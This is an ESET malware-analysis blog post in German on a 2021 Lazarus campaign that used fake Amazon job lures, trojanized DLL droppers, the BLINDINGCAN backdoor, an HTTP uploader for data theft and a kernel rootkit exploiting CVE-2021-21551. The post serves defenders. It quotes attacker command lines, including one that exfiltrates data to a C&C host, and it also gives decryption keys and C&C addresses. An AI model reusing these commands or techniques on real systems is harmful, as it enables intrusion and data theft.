ESET-Forscher entdeckten und analysierten eine Reihe bösartiger Tools, die von der berüchtigten Lazarus APT-Gruppe bei Angriffen im Herbst 2021 eingesetzt wurden. Die Kampagne begann mit Spearphishing-E-Mails. Diese kamen in Form von gefälschten Amazon-Mails und zielten auf einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden und einen politischen Journalisten in Belgien ab. Das primäre Ziel der Angreifer war das Stehlen von Daten. Lazarus (auch bekannt als HIDDEN COBRA) ist seit mindestens 2009 aktiv. Die Gruppe ist verantwortlich für öffentlichkeitswirksame Vorfälle wie den Hack von Sony Pictures Entertainment und Cyberdiebstähle in Millionenhöhe im Jahr 2016, den Ausbruch von WannaCryptor (auch bekannt als WannaCry) im Jahr 2017 und eine lange Reihe von zerstörerischen Angriffen auf öffentliche und kritische Infrastrukturen in Südkorea seit mindestens 2011.


Die wichtigsten Ergebnisse in diesem Blogpost:

  • Die Lazarus-Kampagne richtete sich gegen einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden und gegen einen politischen Journalisten in Belgien.
  • Das bemerkenswerteste Tool dieser Kampagne ist der erste nachgewiesene Missbrauch der Sicherheitslücke CVE-2021-21551. Diese Schwachstelle betrifft Dell DBUtil-Treiber. Dell stellt seit Mai 2021 dafür ein Sicherheitsupdate bereit.
  • Dieses Tool deaktiviert in Verbindung mit der Schwachstelle das Monitoring aller Sicherheitslösungen auf den kompromittierten Rechnern. Es nutzt Techniken gegen Windows-Kernel-Mechanismen, die bisher noch nie in Malware beobachtet wurden.
  • Lazarus verwendete in dieser Kampagne auch seine voll ausgestattete HTTP(S)-Backdoor namens BLINDINGCAN.
  • Die Komplexität des Angriffs deutet darauf hin, dass Lazarus aus einem großen Team besteht, das systematisch organisiert und gut vorbereitet ist.


Beiden Zielpersonen wurden angebliche Jobangebote unterbreitet. Der Mitarbeiter in den Niederlanden erhielt einen Anhang per LinkedIn Nachricht, die Person in Belgien ein Dokument per E-Mail. Die Angriffe begannen, nachdem diese Dokumente geöffnet wurden. Die Angreifer setzten auf jedem System mehrere bösartige Tools ein, darunter Dropper, Loader, voll funktionsfähige HTTP(S)-Backdoors, HTTP(S)-Uploader und -Downloader. Die Gemeinsamkeit der Dropper bestand darin, dass es sich um trojanisierte Open-Source-Projekte handelte, die die eingebettete PAyload mithilfe moderner Blockchiffren mit langen Schlüsseln entschlüsselten, die als Befehlszeilenargumente übergeben wurden. In vielen Fällen handelt es sich bei den bösartigen Dateien um DLL-Komponenten, die von legitimen EXEs nachgeladen wurden, jedoch von einem ungewöhnlichen Ort im Dateisystem.

Das bemerkenswerteste von den Angreifern bereitgestellte Tool war ein User-Mode-Modul, das aufgrund der Sicherheitslücke CVE-2021-21551 in einem legitimen Dell-Treiber die Fähigkeit erlangte, Kernelspeicher zu lesen und zu schreiben. Dies ist der erste jemals bekannte Missbrauch dieser Sicherheitslücke in freier Wildbahn. Die Angreifer nutzten dann ihren Schreibzugriff auf den Kernel-Speicher, um sieben Mechanismen zu deaktivieren, die das Windows-Betriebssystem zur Überwachung seiner Aktionen anbietet, wie z. B. Registry, Dateisystem, Prozesserstellung, Ereignisverfolgung usw., wodurch Sicherheitslösungen im Grunde genommen auf sehr generische, aber robuste Weise ausgehebelt wurden.

In diesem Blogpost erklären wir den Kontext der Kampagne und liefern eine detaillierte technische Analyse aller Komponenten. Diese Forschung wurde auf der diesjährigen Virus Bulletin-Konferenz vorgestellt. Aufgrund der Originalität liegt der Schwerpunkt der Präsentation auf der in diesem Angriff verwendeten bösartigen Komponente, die die Bring Your Own Vulnerable Driver (BYOVD)-Technik verwendet und die oben erwähnte Sicherheitslücke CVE-2021-21551 ausnutzt. Detaillierte Informationen finden Sie im Whitepaper Lazarus & BYOVD: Evil to the Windows core.

Basierend auf den spezifischen Modulen, dem Code-Signatur-Zertifikat und dem Einbruchsansatz, der mit früheren Lazarus-Kampagnen wie Operation In(ter)ception und Operation DreamJob übereinstimmt, ordnen wir diese Angriffe mit hoher Wahrscheinlichkeit Lazarus zu. Die Vielfalt, Anzahl und Ausgefallenheit der Lazarus-Kampagnen sind kennzeichnend für diese Gruppe, ebenso wie die Tatsache, dass sie alle drei Säulen cyberkrimineller Aktivitäten durchführt: Cyberspionage, Cybersabotage und das Streben nach finanziellem Gewinn.

Ursprünglicher Zugang

ESET-Forscher entdeckten zwei neue Angriffe: einen gegen Mitarbeiter eines Medienunternehmens in Belgien und einen gegen einen Angestellten eines Luftfahrtunternehmens in den Niederlanden.

In den Niederlanden betraf der Angriff einen Windows 10-Computer, der mit dem Unternehmensnetzwerk verbunden war. Ein Mitarbeiter wurde per LinkedIn Nachricht wegen eines vermeintlichen neuen Jobs kontaktiert, woraufhin eine E-Mail mit einem Dokumentenanhang versendet wurde. Wir haben uns mit dem Security-Verantwortlichen des betroffenen Unternehmens in Verbindung gesetzt, der uns das bösartige Dokument zur Verfügung stellen konnte. Bei der Word-Datei Amzon_Netherlands.docx, die an die Zielperson gesendet wurde, handelt es sich lediglich um ein Gliederungsdokument mit einem Amazon-Logo (siehe Abbildung 1). Beim Öffnen wird die Remote-Vorlage https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=<var>_DO.PROJ (wobei <var> eine siebenstellige Zahl ist) abgerufen. Wir waren nicht in der Lage, den Inhalt zu erfassen, aber wir vermuten, dass es sich um ein Stellenangebot für das Amazon-Raumfahrtprogramm, Projekt Kuiper, handelt. Dies ist eine Methode, die Lazarus bei den Kampagnen Operation In(ter)ception und Operation DreamJob für die Luft- und Raumfahrt- sowie die Verteidigungsindustrie angewandt hat.

Abbildung 1. Gefälschtes Amazon-Dokument, das an die Zielperson in den Niederlanden gesendet wurde

Innerhalb weniger Stunden wurden mehrere bösartige Tools auf das System nachgeladen, darunter Dropper, Loader, voll funktionsfähige HTTP(S)-Backdoors, HTTP(S)-Uploader und HTTP(S)-Downloader; siehe Abschnitt Toolset.

Was den Angriff in Belgien betrifft, so wurde der Mitarbeiter eines Journalismusunternehmens (dessen E-Mail-Adresse auf der Website des Unternehmens öffentlich zugänglich war) über eine E-Mail mit dem Köder AWS_EMEA_Legal_.docx im Anhang kontaktiert. Da wir das Dokument nicht erhalten haben, kennen wir nur seinen Namen, der vermuten lässt, dass es sich um ein Stellenangebot in einer juristischen Position handeln könnte. Nach dem Öffnen des Dokuments wurde der Angriff gestartet, aber von ESET-Produkten sofort gestoppt. Dadurch konnte nur eine bösartige ausführbare Datei identifiziert werden, da durch das Stoppen derselben der Angriff fehlschlug. Interessant ist dabei, dass die Binärdatei mit einem zu diesem Zeitpunkt gültigen Code-Signatur-Zertifikat signiert war.

Attribution

Wir führen beide Angriffe mit hoher Wahrscheinlichkeit auf die Lazarus-Gruppe zurück. Dies beruht auf den folgenden Faktoren, die Beziehungen zu anderen Lazarus-Kampagnen aufweisen:

  1. Malware (das Intrusion Set):
    1. Die HTTPS-Backdoor (SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) weist starke Ähnlichkeiten mit der BLINDINGCAN-Backdoor auf, die von der CISA (US-CERT) gemeldet und HIDDEN COBRA zugeschrieben wird, deren Codename für Lazarus.
    2. Der HTTP(S)-Uploader weist starke Ähnlichkeiten mit dem Tool C:\ProgramData\IBM\~DF234.TMP auf, das in dem Bericht von HvS Consulting, Abschnitt 2.10 Exfiltration, erwähnt wird.
    3. Der vollständige Dateipfad und -name, %ALLUSERSPROFILE%\Adobe\Adobe.tmp, ist identisch mit dem, über den Kaspersky im Februar 2021 in einem Whitepaper über die Operation ThreatNeedle von Lazarus berichtete, die auf die Verteidigungsindustrie abzielt.
    4. Das Code-Signatur-Zertifikat, das auf die US-Firma "A" MEDICAL OFFICE, PLLC ausgestellt und zum Signieren eines der Dropper verwendet wurde, wurde auch in der Kampagne gegen Sicherheitsforscher gemeldet. Siehe auch Lazarus group: 2 TOY GUYS campaign, ESET Threat Report 2021 T1, Seite 11.
    5. Bei den Tools dieser Lazarus-Kampagne wurde eine ungewöhnliche Art der Verschlüsselung eingesetzt: HC-128. Andere, weniger verbreitete Chiffren, die von Lazarus in der Vergangenheit verwendet wurden: eine Spritz-Variante von RC4 bei den Watering-Hole-Angriffen gegen polnische und mexikanische Banken. Später verwendete Lazarus eine modifizierte RC4 bei der Operation In(ter)ception. Eine modifizierte A5/1-Stream-Chiffre wurde beim WIZVERA VeraPort-Lieferkettenangriff verwendet.
  2. Infrastruktur:
    1. Für den C&C-Server der ersten Ebene verwenden die Angreifer keine eigenen Server, sondern hacken stattdessen bestehende. Dies ist ein typisches Verhalten von Lazarus.

Toolset

Eines der typischen Merkmale von Lazarus ist die Verteilung der endgültigen Payload in Form einer Abfolge von zwei oder drei Schritten. Es beginnt mit einem Dropper - in der Regel eine trojanisierte Open-Source-Anwendung - der die eingebettete Payload mit einer modernen Blockchiffre wie AES-128 entschlüsselt (was für Lazarus nicht ungewöhnlich ist, z.B. Operation Bookcodes oder ein verschleiertes XOR, nachdem er die Befehlszeilenargumente nach einem starken Schlüssel analysiert hat. Obwohl die eingebettete Payload nicht im Dateisystem abgelegt, sondern direkt in den Speicher geladen und ausgeführt wird, bezeichnen wir solche Malware als Dropper. Malware, die nicht über einen verschlüsselten Buffer verfügt, sondern eine Payload aus einem Dateisystem lädt, bezeichnen wir als Loader.

Die Dropper können (Tabelle 1) oder auch nicht (Tabelle 2) von einem legitimen (Microsoft-)Prozess nachgeladen werden. Im ersten Fall befindet sich die legitime Anwendung an einem ungewöhnlichen Ort, und die bösartige Komponente trägt den Namen der entsprechenden DLL, die zu den Importen der Anwendung gehört. Zum Beispiel wird die bösartige DLL coloui.dll von einer legitimen Systemanwendung Color Control Panel (colorcpl.exe) geladen, die sich beide unter C:\ProgramData\PTC\ befinden. Der übliche Speicherort für diese legitime Anwendung ist jedoch %WINDOWS%\System32\.

In allen Fällen wird zur Laufzeit mindestens ein Kommandozeilenargument übergeben, das als externer Parameter für die Entschlüsselung der eingebetteten Payload benötigt wird. Es werden verschiedene Entschlüsselungsalgorithmen verwendet; siehe die letzte Spalte in Tabelle 1 und Tabelle 2. In mehreren Fällen, in denen AES-128 verwendet wird, gibt es auch einen internen, fest kodierten Parameter zusammen mit dem Namen des übergeordneten Prozesses und seinem DLL-Namen, die alle für eine erfolgreiche Entschlüsselung erforderlich sind.

Tabelle 1. Bösartige DLLs, die von einem legitimen Prozess von einem ungewöhnlichen Ort aus nachgeladen werden

Location folder Legitimate parent process Malicious side-loaded DLL Trojanized project External parameter Decryption algorithm
C:\ProgramData\PTC\ colorcpl.exe colorui.dll libcrypto of LibreSSL 2.6.5 BE93E050D9C0EAEB1F0E6AE13C1595B5
(Loads BLINDINGCAN)
XOR
C:\Windows\Vss\ WFS.exe credui.dll GOnpp v1.2.0.0 (Notepad++ plug‑in) A39T8kcfkXymmAcq
(Loads the intermediate loader)
AES-128
C:\Windows\security\ WFS.exe credui.dll FingerText 0.56.1 (Notepad++ plug‑in) N/A AES-128
C:\ProgramData\Caphyon\ wsmprovhost.exe mi.dll lecui 1.0.0 alpha 10 N/A AES-128
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ SMSvcHost.exe cryptsp.dll lecui 1.0.0 alpha 10 N/A AES-128

Tabelle 2. Andere an dem Angriff beteiligte Malware

Location folder Malware Trojanized project External parameter Decryption algorithm
C:\PublicCache\ msdxm.ocx libpcre 8.44 93E41C6E20911B9B36BC
(Loads the HTTP(S) downloader)
XOR
C:\ProgramData\Adobe\ Adobe.tmp SQLite 3.31.1 S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA
(Loads the HTTP(S) updater)
XOR
C:\PublicCache\ msdxm.ocx sslSniffer Missing HC-128

Nach erfolgreicher Entschlüsselung wird der Buffer auf das richtige PE-Format geprüft und die Ausführung an ihn übergeben. Dieser Vorgang ist bei den meisten Droppern und Loadern zu finden. Der Anfang davon ist in Abbildung 2 zu sehen.

Abbildung 2. Der entschlüsselte Buffer ist eine ausführbare 64-Bit-Datei

HTTP(S) Backdoor: BLINDINGCAN

Wir haben eine voll funktionsfähige HTTP(S)-Backdoor - ein RAT namens BLINDINGCAN - identifiziert, die für den Angriff verwendet wurde.

Der Dropper dieser Payload wurde als %ALLUSERSPROFILE%\PTC\colorui.dll ausgeführt; siehe Tabelle 1 für Details. Die Payload wird mit einer einfachen XOR-Verknüpfung extrahiert und entschlüsselt, allerdings mit einem langen Schlüssel, der aus dem Namen des übergeordneten Prozesses, seinem eigenen Dateinamen und dem externen Befehlszeilenparameter - hier COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5 - zusammengesetzt ist.

Die Payload, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, ist eine 64-Bit VMProtect geschützte DLL. Es wird eine Verbindung zu einem der entfernten Speicherorte https://aquaprographix[.]com/patterns/Map/maps.php oder https://turnscor[.]com/wp-includes/feedback.php hergestellt. Innerhalb des virtualisierten Codes sind wir auf die folgenden sehr spezifischen RTTI-Artefakte, die in der ausführbaren Datei zu finden sind, gestoßen: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Außerdem gibt es eine Ähnlichkeit auf der Code-Ebene, da die Indizes der Befehle mit demselben Wert beginnen, nämlich 8201; siehe Abbildung 3.
Dies half uns, diesen RAT als BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D) zu identifizieren, über den zum ersten Mal von der CISA berichtet wurde. Die aktuelle Version dieser Payload wurde bei einer anderen Amazon-Kampagne beobachtet, bei der BLINDINGCAN von einem trojanisierten Putty-0.77-Client abgesetzt wurde, wie von Mandiant beschrieben.

Abbildung 3. Code-Vergleich der einfachen (oben, ungeschützt) und der virtualisierten (unten, VMProtect geschützt) Variante von BLINDINGCAN, mit einer Übereinstimmung von zwei Befehlsindizes, 8256 und 8201

Ausgehend von der Anzahl der Befehlscodes, die dem Bediener zur Verfügung stehen, ist es wahrscheinlich, dass ein serverseitiger Controller vorhanden ist, über den der Bediener kompromittierte Systeme kontrollieren und erkunden kann. Aktionen, die innerhalb dieses Controllers ausgeführt werden, führen wahrscheinlich dazu, dass die entsprechenden Befehls-IDs und ihre Parameter an den RAT gesendet werden, der auf dem System des Ziels läuft. Die Liste der Befehlscodes ist in Tabelle 3 aufgeführt und stimmt mit der Analyse von JPCERT/CC, Anhang C, überein. Es gibt keine Validierungsprüfungen für Parameter wie Ordner oder Dateinamen. Das bedeutet, dass alle Überprüfungen auf der Serverseite implementiert werden müssen. Das lässt wiederum darauf schließen, dass es sich bei der serverseitigen Steuerung um eine komplexe Anwendung handelt - sehr wahrscheinlich mit einer benutzerfreundlichen GUI.

Tabelle 3. Die RAT Befehle

Command Description
8201 Send system information like computer name, Windows version, and the code page.
8208 Get the attributes of all files in mapped RDP folders (\\tsclient\C etc.).
8209 Recursively get the attributes of local files.
8210 Execute a command in the console, store the output to a temporary file, and upload it.
8211 Zip files in a temporary folder and upload them.
8212 Download a file and update its time information.
8214 Create a new process in the console and collect the output.
8215 Create a new process in the security context of the user represented by the specified token and collect the output.
8217 Recursively create a process tree list.
8224 Terminate a process.
8225 Delete a file securely.
8226 Enable nonblocking I/O via TCP socket (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) with the FIONBIO control code).
8227 Set the current directory for the current process.
8231 Update the time information of the selected file.
8241 Send the current configuration to the C&C server.
8242 Update the configuration.
8243 Recursively list the directory structure.
8244 Get type and free disk space of a drive.
8249 Continue with the next command.
8256 Request another command from the C&C server.
8262 Rewrite a file without changing its last write time.
8264 Copy a file to another destination.
8265 Move a file to another destination.
8272 Delete a file.
8278 Take a screenshot.

Intermediate Loader

Jetzt beschreiben wir eine dreistufige Kette, von der wir leider nur die ersten beiden Stufen identifizieren konnten: einen Dropper und einen Intermediate Loader.

Die erste Stufe ist ein Dropper, der sich unter C:\Windows\Vss\credui.dll befindet und über eine legitime - aber für DLL-Suchreihenfolge-Hijacking anfällige - Anwendung mit dem (externen) Parameter C:\Windows\Vss\WFS.exe A39T8kcfkXymmAcq ausgeführt wurde. Bei dem Programm WFS.exe handelt es sich um eine Kopie der Anwendung "Windows Fax and Scan", deren Standardspeicherort jedoch %WINDOWS%\System32\ ist.

Der Dropper ist ein trojanisiertes GOnpp-Plug-in für Notepad++, das in der Programmiersprache Go geschrieben ist. Nach der Entschlüsselung prüft der Dropper, ob es sich bei dem Buffer um eine gültige ausführbare 64-Bit-Datei handelt, und wenn ja, lädt er sie in den Speicher, so dass die zweite Stufe zur Ausführung bereit ist.

Das Ziel dieser Zwischenstufe ist es, eine zusätzliche Payload in den Speicher zu laden und sie auszuführen. Er führt diese Aufgabe in zwei Schritten aus. Zunächst wird die Konfigurationsdatei C:\windows\System32\wlansvc.cpl gelesen und entschlüsselt, bei der es sich nicht, wie ihre Erweiterung vermuten lässt, um eine (verschlüsselte) ausführbare Datei handelt, sondern um eine Datendatei, die 14944 Byte große Stücke mit der Konfiguration enthält. Die Konfiguration sollte mit einem Doppelwort beginnen, das die Gesamtgröße des verbleibenden Buffers angibt (siehe Zeile 69 in Abbildung 4 und die Variable u32TotalSize), gefolgt von einem Array aus 14944 Byte langen Strukturen, die mindestens zwei Werte enthalten: den Namen der ladenden DLL als Platzhalter für die Identifizierung der restlichen Konfiguration (am Offset 168 von Zeile 74 in Abbildung 4 und das hervorgehobene Member in Abbildung 5).

Abbildung 4. Der erste Schritt der Entschlüsselung der Konfigurationsdatei und die Überprüfung, ob der Name der ladenden DLL mit dem erwarteten Namen übereinstimmt

Der zweite Schritt ist das Lesen, Entschlüsseln und Laden dieser Datei, die sehr wahrscheinlich die dritte und letzte Stufe darstellt. Es wird erwartet, dass es sich um eine ausführbare 64-Bit-Datei handelt, die auf die gleiche Weise in den Speicher geladen wird, wie der Dropper der ersten Stufe den Intermediate Loader behandelt hat. Zu Beginn der Ausführung wird ein Mutex als Verkettung der Zeichenfolge Global\AppCompatCacheObject und der CRC32-Prüfsumme des DLL-Namens (credui.dll), dargestellt als vorzeichenbehaftete Ganzzahl, erstellt. Der Wert sollte gleich Global\AppCompatCacheObject-1387282152 sein, wenn wlansvc.cpl vorhanden ist, und andernfalls -1387282152.

Abbildung 5. Eine Konfiguration des Intermediate Loaders. Der markierte Dateiname muss mit dem Namen der laufenden Malware übereinstimmen; siehe auch Abbildung 4.

Eine interessante Tatsache ist die Verwendung dieses Entschlüsselungsalgorithmus (Abbildung 4, Zeile 43 & 68), der weder im Lazarus-Toolset noch in Malware im Allgemeinen so häufig vorkommt. Die Konstanten 0xB7E15163 und 0x61C88647 (-0x9E3779B9; siehe Abbildung 6, Zeile 29 & 35) in der Schlüsselexpansion deuten darauf hin, dass es sich entweder um den RC5 oder RC6 Algorithmus handelt. Wenn man die Hauptentschlüsselungsschleife des Algorithmus überprüft, stellt man fest, dass es sich um den komplexeren der beiden Algorithmen, RC6, handelt. Ein Beispiel für eine ausgeklügelte Bedrohung, die eine solche ungewöhnliche Verschlüsselung verwendet, ist BananaUsurper der Equations Group; siehe Kaspersky-Bericht von 2016.

Abbildung 6. Schlüsselexpansion von RC6

HTTP(S) Downloader

Ein Downloader, der die HTTP(S)-Protokolle verwendet, wurde ebenfalls auf das System des Ziels übertragen.

Er wurde durch einen Dropper der ersten Stufe (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657) installiert, der eine trojanisierte libpcre-8.44-Bibliothek ist. Sie wurde mit dem Befehl cmd.exe /c start /b rundll32.exe C:\PublicCache\msdxm.ocx,sCtrl 93E41C6E20911B9B36BC (der Parameter ist ein XOR-Schlüssel zum Extrahieren der eingebetteten Payload; siehe Tabelle 2). Der Dropper erreicht außerdem Persistenz, indem er die Datei OneNoteTray.LNK erstellt, die sich im Ordner %APPDATA%\Microsoft\Windows\Startmenü\Programme\Startup befindet.

Die zweite Stufe ist ein VMProtect geschütztes 32-Bit-Modul, das eine HTTP-Verbindungsanfrage an einen in seiner Konfiguration gespeicherten C&C-Server stellt; siehe Abbildung 7. Es verwendet denselben User Agent - Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 - wie BLINDINGCAN RAT, enthält das RTTI-Artefakt .?AVCHTTP_Protocol@@, aber nicht .?AVCFileRW@@, und verfügt nicht über Funktionen wie das Erstellen von Screenshots, das Archivieren von Dateien oder das Ausführen eines Befehls über die Kommandozeile. Es ist in der Lage, eine ausführbare Datei in einen neu zugewiesenen Speicherblock zu laden und die Codeausführung an sie zu übergeben.

Abbildung 7. Eine Konfiguration des HTTP(S)-Downloaders. Die hervorgehobenen Werte sind die Größe der Konfiguration und die Anzahl der URLs. Bei dem von uns beobachteten Angriff waren alle URLs identisch.

HTTP(S) Uploader

Dieses Lazarus-Tool ist für das Stehlen von Daten per HTTP oder HTTPS verantwortlich.

Es wird ebenfalls in zwei Stufen ausgeliefert. Der erste Dropper ist eine trojanisierte sqlite-3.31.1 Bibliothek. Lazarus-Samples enthalten normalerweise keinen PDB-Pfad, aber dieser Loader hat einen: W:\Develop\Tool\HttpUploader\HttpPOST\Pro\_BIN\RUNDLL\64\sqlite3.pdb. Das lässt auch sofort auf seine Funktionalität schließen - ein HTTP-Uploader.

Der Dropper erwartet mehrere Kommandozeilenparameter. Einer davon ist ein Passwort, das zum Entschlüsseln und Laden der eingebetteten Payload benötigt wird. Die übrigen Parameter werden an die Payload übergeben. Wir haben die Parameter nicht erfassen können, aber glücklicherweise wurde ein Einsatz dieses Tools in freier Wildbahn bei einer forensischen Untersuchung von HvS Consulting beobachtet:

C:\ProgramData\IBM\~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:\ProgramData\IBM\restore0031.dat data03 10000 -p 192.168.1.240 8080

Der erste Parameter, S0RMM-50QQE-F65DN-DCPYN-5QEQA, diente als Schlüssel für die Entschlüsselungsroutine des Droppers (genauer gesagt wurde zunächst eine Verschleierung durchgeführt, bei der der verschlüsselte Buffer mit seiner um ein Byte verschobenen Kopie XOR-verknüpft wurde; dann folgte eine XOR-Entschlüsselung mit dem Schlüssel). Die übrigen Parameter werden in einer Struktur gespeichert und an die zweite Stufe weitergegeben. Zur Erläuterung ihrer Bedeutung siehe Tabelle 4.

Tabelle 4. Befehlszeilenparameter für den HTTP(S)-Updater

Parameter Value Explanation
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA A 29-byte decryption key.
2 https://<...> C&C for data exfiltration.
3 C:\ProgramData\IBM\restore0031.dat The name of a local RAR volume.
4 data03 The name of the archive on the server side.
5 10,000 The size of a RAR split (max 200,000 kB).
6 N/A Starting index of a split.
7 N/A Ending index of a split.
8 -p 192.168.1.240 8080 A switch -p
9 #rowspan# Proxy IP address
10 #rowspan# Proxy Port

Die zweite Stufe ist der HTTP-Uploader selbst. Der einzige Parameter für diese Stufe ist eine Struktur, die den C&C-Server für die Exfiltration, den Dateinamen eines lokalen RAR-Archivs, den Root-Namen eines RAR-Archivs auf der Serverseite, die Gesamtgröße eines RAR-Splits in Kilobyte, einen optionalen Bereich von Split-Indizes und einen optionalen Schalter -p mit der internen Proxy-IP und einem Port enthält; siehe Tabelle 4. Wenn das RAR-Archiv beispielsweise in 88 Chunks mit einer Größe von jeweils 10.000 kB aufgeteilt ist, würde der Uploader diese Splits übermitteln und sie auf der Serverseite unter den Namen data03.000000.avi, data03.000001.avi, ..., data03.000087.avi speichern. Siehe Abbildung 8, Zeile 42, wo diese Zeichenketten formatiert sind.

Der User-Agent ist der gleiche wie bei BLINDINGCAN und dem HTTP(S)-Downloader,  Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36.

Abbildung 8. Die Exfiltration von RAR-Splits zu einem C&C-Server

FudModule Rootkit

Wir haben eine dynamisch verknüpfte Bibliothek mit dem internen Namen FudModule.dll identifiziert, die versucht, verschiedene Windows-Überwachungsfunktionen zu deaktivieren. Dies geschieht durch die Änderung von Kernel-Variablen und das Entfernen von Kernel-Callbacks, was möglich ist, weil das Modul die Fähigkeit erlangt, in den Kernel zu schreiben, indem es die BYOVD-Techniken ausnutzt - im Speziellen die Sicherheitslücke CVE-2021-21551 im Dell-Treiber dbutil_2_3.sys.

Die vollständige Analyse dieser Malware ist als VB2022-Papier verfügbar: Lazarus & BYOVD: evil to the Windows core.

Andere Malware

Bei den Angriffen wurden zusätzliche Dropper und Loader entdeckt, aber wir haben die notwendigen Parameter zur Entschlüsselung der eingebetteten Payloads oder verschlüsselten Dateien nicht erhalten können.

Trojanisiertes lecui

Ein Projekt lecui von Alec Musafa diente den Angreifern als Code-Basis für die Trojanisierung von zwei weiteren Loadern. Ihren Dateinamen nach waren sie als Microsoft-Bibliotheken mi.dll (Management Infrastructure) bzw. cryptsp.dll (Cryptographic Service Provider API) getarnt, was auf das beabsichtigte Side-Loading durch die legitimen Anwendungen wsmprovhost.exe bzw. SMSvcHost.exe zurückzuführen war; siehe Tabelle 1.

Der Hauptzweck dieser Loader besteht darin, ausführbare Dateien zu lesen und zu entschlüsseln, die sich in alternativen Datenströmen (ADS) unter C:\ProgramData\Caphyon\mi.dll:Zone.Identifier bzw. C:\Program Files\Windows Media Player\Skins\DarkMode.wmz:Zone.Identifier befinden. Da wir diese Dateien nicht erfasst haben, ist nicht bekannt, welche Payload dort versteckt ist. Sicher ist jedoch nur, dass es sich um eine ausführbare Datei handelt, da der Ladevorgang auf die Entschlüsselung folgt (siehe Abbildung 2). Die Verwendung von ADS ist nicht neu. Ahnlab berichtete im Juni 2021 über einen Lazarus-Angriff auf südkoreanische Unternehmen, bei dem solche Techniken zum Einsatz kamen.

Trojanisiertes FingerText

ESET blockierte eine zusätzliche trojanisierte Open-Source-Anwendung, FingerText 0.5.61 von erinata, die sich unter %WINDIR%\security\credui.dll befindet. Die korrekten Befehlszeilenparameter sind nicht bekannt. Wie in einigen der vorherigen Fälle waren drei Parameter für die AES-128-Entschlüsselung der eingebetteten Payload erforderlich: der Name des übergeordneten Prozesses, WFS.exe, der interne Parameter, mg89h7MsC5Da4ANi, und der fehlende externe Parameter.

Trojanisierter sslSniffer

Der Angriff auf ein Ziel in Belgien wurde zu einem frühen Zeitpunkt in der Verteilungskette blockiert, so dass nur eine Datei identifiziert werden konnte, ein 32-Bit-Dropper, der sich unter C:\PublicCache\msdxm.ocx befindet. Es handelt sich um eine sslSniffer-Komponente aus dem wolfSSL-Projekt, die trojanisiert wurde. Zum Zeitpunkt des Angriffs war sie mit einem Zertifikat signiert, das auf "A" MEDICAL OFFICE, PLLC ausgestellt war (siehe Abbildung 8), das inzwischen abgelaufen ist.

Abbildung 9. Gültig signiertes, aber bereits abgelaufenes Zertifikat

Sie hat zwei bösartige Exporte, die die legitime DLL nicht hat: SetOfficeCertInit und SetOfficeCert. Beide Exporte erfordern genau zwei Parameter. Der Zweck des ersten Exports besteht darin, Persistenz herzustellen, indem OfficeSync.LNK erstellt wird, das sich in %APPDATA%\Microsoft\Windows\Start Menu\Programme\Startup befindet, auf die bösartige DLL verweist und ihren zweiten Export über rundll32.exe mit den an sie selbst übergebenen Parametern ausführt.

Der zweite Export, SetOfficeCert, verwendet den ersten Parameter als Schlüssel, um die eingebettete Payload zu entschlüsseln, aber wir konnten ihn nicht extrahieren, da uns der Schlüssel nicht bekannt ist.

Der Entschlüsselungsalgorithmus ist ebenfalls interessant, da die Angreifer HC-128 mit dem 128-Bit-Schlüssel als erstem Parameter und als 128-Bit-Initialisierungsvektor die Zeichenfolge ffffffffffffffff verwenden. Die Konstanten, die die Chiffre offenbaren, sind in Abbildung 10 dargestellt.

Abbildung 10. Der Schlüsselaufbau mit hervorgehobenen Konstanten, die die HC-128-Chiffre nahelegen

Fazit

Bei diesem Angriff, wie auch bei vielen anderen, die Lazarus zugeschrieben werden, haben wir gesehen, dass viele Tools sogar zielgerichtet auf einem einzigen Endpoint in einem Netzwerk von Interesse verteilt wurden. Zweifellos ist das Team hinter dem Angriff ziemlich groß, systematisch organisiert und gut vorbereitet. Zum ersten Mal in freier Wildbahn konnten die Angreifer die Sicherheitslücke CVE-2021-21551 nutzen, um das Monitoring aller Sicherheitslösungen auszuschalten. Dies geschah nicht nur im Kernel-Bereich, sondern auch auf robuste Weise, indem eine Reihe von wenig oder undokumentierten Windows-Interna verwendet wurden. Zweifellos erforderte dies ein hohes Maß an Forschungs-, Entwicklungs- und Testkompetenz.

Aus der Sicht der Verteidiger scheint es einfacher zu sein, die Möglichkeiten des Erstzugriffs einzuschränken, als die robusten Tools zu blockieren, die installiert werden, nachdem entschlossene Angreifer im System Fuß gefasst haben. Wie in vielen Fällen in der Vergangenheit war auch hier ein Mitarbeiter, der den Verlockungen der Angreifer erlegen ist, der Ausgangspunkt des Scheiterns. In sensiblen Netzen sollten Unternehmen darauf bestehen, dass ihre Mitarbeiter auf Geräten, die zur Infrastruktur ihres Unternehmens gehören, nicht ihren persönlichen Interessen nachgehen, z. B. bei der Jobsuche.

For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.


Um mehr darüber zu erfahren, wie Threat Intelligence die Cybersicherheit Ihres Unternehmens verbessern kann, besuchen Sie unsere ESET Threat Intelligence Webseite.

IoCs

A comprehensive list of Indicators of Compromise and samples can be found in our GitHub repository.

SHA-1 Filename Detection Description
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A A user‑mode module that operates with the kernel memory.
001386CBBC258C3FCC64145C74212A024EAA6657 C:\PublicCache\msdxm.ocx Win32/NukeSped.KQ A dropper of the HTTP(S) downloader.
